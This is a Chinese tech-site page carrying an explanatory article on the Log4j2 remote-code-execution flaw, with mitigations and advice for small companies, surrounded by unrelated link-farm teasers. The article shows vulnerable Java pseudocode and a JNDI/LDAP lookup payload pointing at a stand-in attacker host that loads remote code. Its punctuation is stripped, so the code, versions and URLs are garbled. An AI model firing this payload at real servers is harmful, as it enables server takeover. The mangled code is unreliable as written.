游戏电视苹果数码历史美丽
投稿投诉
美丽时装
彩妆资讯
历史明星
乐活安卓
数码常识
驾车健康
苹果问答
网络发型
电视车载
室内电影
游戏科学
音乐整形

Log4j史诗级漏洞,我们这些小公司能做些什么?

  事件背景
  12月10日,看到朋友圈中已经有人在通宵修改、上线系统了。随即,又看到阿里云安全、腾讯安全部门发出的官方报告:ApacheLog4j2存在远程代码执行漏洞,且漏洞已对外公开。
  看到相关消息,马上爬起来把所有项目的日志系统过滤一遍,还好老项目采用的log4j,新项目采用的logback,没有中招。随后就看到朋友圈铺天盖地的相关消息。
  作为一个史诗级的事件,紧急修改漏洞是必然的。作为程序员,如果看到这则消息,连去核查一下系统都做不到,那真的不是一个合格的程序员。
  经历过这次事件,不仅是看热闹而已,还要思考一下,作为小公司如何避免、提前预防、做好准备应对这类Bug。漏洞描述
  ApacheLog4j2是一款优秀的Java日志框架,与Logback平分秋色,大量主流的开源框架采用了Log4j2,像ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。所以,这样一个底层框架出现问题,影响面可想而知。
  漏洞信息:ApacheLog4j2。15。0rc1版本存在漏洞绕过,需及时更新至ApacheLog4j2。15。0rc2版本。
  影响范围:2。0Apachelog4j22。14。1。
  最新修复版本:https:github。comapachelogginglog4j2releasestaglog4j2。15。0rc2补救方案
  方案一:升级版本,发布系统;
  方案二:临时补救:修改JVM参数,设置Dlog4j2。formatMsgNoLookupstrue。在涉及漏洞的项目的类路径(classpath)下增加log4j2。component。properties配置文件并增加配置项log4j2。formatMsgNoLookupstrue。将系统环境变量FORMATMESSAGESPATTERNDISABLELOOKUPS设置为true。攻击原理
  攻击伪代码示例:importorg。apache。log4j。Logger;importjava。io。;importjava。sql。SQLException;importjava。util。;publicclassVulnerableLog4jExampleHandlerimplementsHttpHandler{staticLoggerlogLogger。getLogger(log4jExample。class。getName());示例伪代码:一个简单的HTTP端点,其中读取UserAgent信息并进行日志记录;publicvoidhandle(HttpExchangehe)throwsIOException{获取useragent信息StringuserAgenthe。getRequestHeader(useragent);此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。攻击者可以设置他们的UserAgentheader到{jndi:ldap:attacker。coma}log。info(RequestUserAgent:userAgent);Stringresponseh1HelloThere,userAgent!h1;he。sendResponseHeaders(200,response。length());OutputStreamoshe。getResponseBody();os。write(response。getBytes());os。close();}}
  基于上述代码的基本攻击步骤:请求对应的HTTP端点(或接口),在请求信息中携带攻击代码(比如,在useragent中携带{jndi:ldap:attacker。coma});服务器在通过Log4j2执行日志记录时,记录中包含了基于JNDI和LDAP的恶意负载{jndi:ldap:attacker。coma},其中attacker。com是攻击者控制的地址。记录日志操作触发向攻击者控制的地址发送请求。对应请求返回在响应中返回可执行的恶意代码,注入到服务器进程当中。比如返回,https:attacker。comAttack。class。进而执行脚本控制服务器。
  腾讯安全专家的回复现如下:
  log4j2漏洞复现小公司程序员能做些什么?
  关于漏洞及解决方案,上面已经详细聊了,问题基本得以解决。在大的互联网企业,是有专门的安全运维部门来监控、扫描这些漏洞的。但在小公司,很显然没有这样的条件。
  那么,我们该怎么办?同时,作为事件的经历者,你是否思考过这个事件中反映出的一些其他问题吗?第一,是否第一时间得到消息?
  在大企业,一旦发现这样的漏洞,安全部门会第一时间进行通知。但在小企业,没有安全部门,你是如何获取到漏洞的消息的呢?
  比如我所在的企业,是没有安全部门的,但也几乎是第一时间得知漏洞消息,进行系统排查的。
  作为程序员,如果漏洞消息已经爆出很久,你却一无所知,那就应该反思一下朋友圈的质量以及对技术热点的关注度问题了。
  如何获得圈内第一手消息,取决于也反映着你在社交圈或技术圈所处的位置与现状。第二,是否置若罔闻?
  很多朋友可能也看到了这则漏洞消息,但也就是看一下热闹,然后该干嘛干嘛了,系统有漏洞就有漏洞了呗
  如果你是如此,或者你的团队是如此,你真的需要反省一下职业素养问题了。
  很多人可能觉得自己很牛,觉得自己怀才不遇,觉得工资收入低,觉得被亏待那么,对照一下对这件事所作出的反应,基本就知道自己是不是被亏待了。第三,如何应对突发事件?
  这样的突发事件,也是对系统运维、团队管理的一个考验,也是一个仿真练习:大家都正在进行着当前业务的开发,有一个突发Bug要修改,改一半的代码如何操作?如大面积发布?
  第一,改一半的代码怎么办?如果你的团队的代码开发都是基于master(主干)进行开发、提交代码,针对这样的突发事件,必然会面对改了一半的代码,提交了,想一起发布但还没测试,这种骑虎难下的局面。
  所以,代码的管理(如何打分支、合并分支、分支与主干代码不同环境的发布)必须得从日常的点滴做起,当突发事件发生时,也不至于手忙脚乱。
  第二,有大量项目需要发布怎么办?当然,最古老的方式就是一个系统一个系统手动发布。如果是微服务及应用较多,不仅容易出现错误,而且耗时较长。这就提醒我们,构建自动化发布流程的重要性。第四,怎么找出系统漏洞?
  有安全部门的公司,会定期扫描系统漏洞,那么没有安全部门的公司只能坐以待毙吗?
  其实,还是有一些方法可以发现系统的一些漏洞的。比如,勤关注使用框架的版本升级、利用三方提供的漏洞扫描(比如阿里云服务器的安全扫描)、与同行交流等手段。小结
  任何一个漏洞对软件系统来说都有可能是致命的,也是需要我们谨慎对待的。对于漏洞的处理及做出的反应也是从业者职业素养的体现。
  而如果能从一次次突发事件中学习、思考到更多内容,你将比别人更快地成长。

以变应变!中兴通讯AAPC助力辽宁移动实现潮汐场景网络的提质在通信系统中,普遍将在特定时间内大量聚集,随后又大量迁移的人们形成的话务量集中流动现象称为潮汐效应。比如大型工厂、高校等处,在上班(上课)时,人们在工作学习区域大量聚集,中午在……中国最受尊敬的十大实体企业家,华为任正非,让中国5G领先世界实体兴邦,实业救国,中国经济的高速发展,中国人民的幸福生活,离不开一批批伟大实体企业家的努力与付出,今天就为大家分享中国最受尊敬的十大实体企业家,华为任正非,让中国5G领先世界……我被aigo国民好物移动固态硬盘S7Pro外观种草了aigo移动固态硬盘S7Pro是我第一次以貌取物的数码产品,小巧的机身、35g的机重、金属材质独有的质感,加上1TB秒杀价不到700元的价格。几乎没有犹豫我就下单了,也是身为科……9月上市的十款新车大部分都会凉凉?小鹏P5上市时间:预计9月初预售1623万,预计在月底召开的成都车展正式上市。虽然成都车展是一个契机,但并不利于小鹏P5上市。受蔚来事件影响,车辆自动驾驶技术被推上……外观精致体验完美的电竞有线耳机ROG降临2RGB版入耳游戏耳一、前言随着手机性能的进步和各种APP的开发,手机逐渐开始展现其作为游戏机的属性,很多手游的用户也在日渐增多,累积用户数量高达9位数,日活巅峰用户数量也能突破9位数,非常……高通恢复华为5G芯片供应,华为Nova9下月首发?别高兴得太由于众所周知的原因,华为P50系列全系只有4G版本,华为消费者业务CEO余承东表示我们5G芯片只能当4G使用。华为5G赛道上无奈缚手脚令人唏嘘,国内部分媒体却称问题得到解决,高……预算50元真能买到好耳机?是的我真没忽悠你首先我们要明确的是,只想花50元买耳机的消费者,他们的需求是什么?可以肯定的是,这一定不是他她的主力耳机,以我的观察来看,平时工作地点在办公室、从事视频拍摄剪辑工作、经常用笔记……八佰原声创国产电影的多项制作之最,雷柏i100耳机推荐国内影院复工,大银幕终于盼来第一部华语片,由管虎导演的《八佰》。这是一部改编自历史真实事件的电影,讲述抗日战争期间,八百壮士昼夜血战守四行仓库的故事,放映第一天就令数万观众泪目……世界上超豪华的三座酒店,最贵的一晚40万元人民币!住不起!第3名:拉兹皇宫酒店位于斋普尔,是一家五星级酒店,一晚花费价格约合人民币29万元,酒店历史悠久,曾是斋普尔的一座宫殿,面积很大,每个房间里都装有很多高端奢侈品和皇室博物馆……国货崛起,8HMaster大师智能电动组合沙发带你感受智能家在美国对华实施战略施压之际,北约多国纷纷积极响应,试图构建外部合围之势,将迫使中国遵守国际规则。这阵势看着似乎不得了,实则展现出了某些国家的战略恐慌心思。大中华人民共和国已经不……科大讯飞翻译笔,全方位助力学习成长,我们一起出发小时候,家里穷,穷的买只钢笔的钱都很难拿出来,铅笔也是用到最后握不住了,继续用到山穷水尽疑无路。伴随着中国二孩政策的放开,每个家庭放在孩子教育方面的精力越来越多,现在的学习条件……小米12系列将全球首发这两项顶级黑科技,其他厂商只能羡慕嫉妒要说今年下半年将要发布的几款最热门的手机,小米12系列首当其冲。根据业内消息,现在小米12系列已经被提上了规划发布的日程,预计将于今年年底发布。但是,虽然小米12系列距离发布还……
人世间于虹的结局,人世间于虹是谁演的都市剧《人世间》中于虹表现出一点自私的,所进入剧情中想要房子,立马给人有着非常难受的感觉,造成乔春燕大打出手,由此能感觉徐百慧把于虹表演的角色充满淋漓尽致的情况给展现出来。……人世间水自流结局如何,人世间水自流扮演者现代剧《人世间》给展现水自流有着分不清好坏的情况,自然造成他产生一生孤独的状态,可他中年在崇文街开一家崇文书店,不过进行最后孙之鸿扮演的水自流得病去世,还把书店送给周秉昆了。……人世间吕川大结局是什么,人世间吕川演员都市剧《人世间》给展现吕川有着特别优良的性格,带上唐向阳为知识分子家庭出身,之后没有多久吕川拜唐向阳为师去学习,直到进行最后宫宏佳出演的吕川顺利考上北京的大学,使得他事业有成给……为帮助人们应对个人危机,谷歌对搜索结果进行了AI升级文JohanMoreno谷歌在一篇博文中宣布,将对其搜索引擎进行改进,以便为经历过有自杀念头、性侵犯、药物滥用和家庭虐待等个人危机的用户提供更可靠、可信和可操作的信息。……何为敢越级?realme增速第一领跑国内市场,给出完美答案如果要说目前国产手机品牌,哪家发展得最为迅速?相信不少人看到这个问题后,第一时间就会联想到是realme。确实,按照目前市场中的情况来说,realme的发展势头是相当迅猛,在短……我与电脑的渊源高考的时候,没怎么发挥好,考了个大专,就在本地省会上的学。学了个计算机,那时候xp刚流行没几年吧,自己是个电脑白痴,同学问我要个qq。都不知道在说什么,第一个qq号还是同……人世间乔春燕最后的结局,人世间乔春燕扮演者年代剧《人世间》中乔春燕做为周秉昆的发小,初期许多人感觉乔春燕跟周秉昆处对象,不过后期周秉昆一直对她没意思,之后她喜欢曹德宝,还顺利结婚,到进行最后黄小蕾出演的乔春燕和曹德宝以……人世间郑娟的结局,人世间郑娟扮演者现实剧《人世间》中给带来郑娟为命途多舛的女人,主要她小时候她成为弃婴,不过后期她被卖冰棍的妈妈收养,之后遭受不太好的命运,却殷桃出演的郑娟进行最后跟周秉坤在一起过上幸福的生活。……小米8支持QC4。0,但官方标配的是QC3。0的充电器,有必目前,在智能手机电池技术没有实际性突破的情况下。快充技术就显得非常重要了。笔者最近也淘汰了已经用了三年多的iPhone,换了一部小米8。最大的体验就是充电速度快了很多。不……最近想换个手机,预算5000左右(可略超出),有什么推荐吗?文小伊评科技5000元左右的手机基本上都是高端手机了,那么当价格到了这个档次之后,单纯追求基础配置的消费者已经不多了,更多的是在意这款手机的特色配置或者说其与众不同的地方……漫威电影顺序(官方正确观看顺序)汇总本篇汇总漫威电影(正确观看顺序)官方。从2008年的《钢铁侠》,到2019年的《复仇者联盟4:终局之战》,漫威电影宇宙在11年里拍摄的22部电影(前三阶段除去《蜘蛛侠:英雄远征……韩国大尺度电影未删减版19禁电影限制级高分10部韩国的暴力犯罪电影,以下:崔岷植、河正宇、宋康昊、黄政民、朴赞郁、薛景求、马东锡、赵寅成、姜帝圭、奉俊昊、柳承范、金相庆、赵震雄、吴达洙,这些大叔们基本上是代表韩国暴力犯罪片的……
友情链接:易事利快生活快传网聚热点七猫云快好知快百科中准网快好找文好找中准网快软网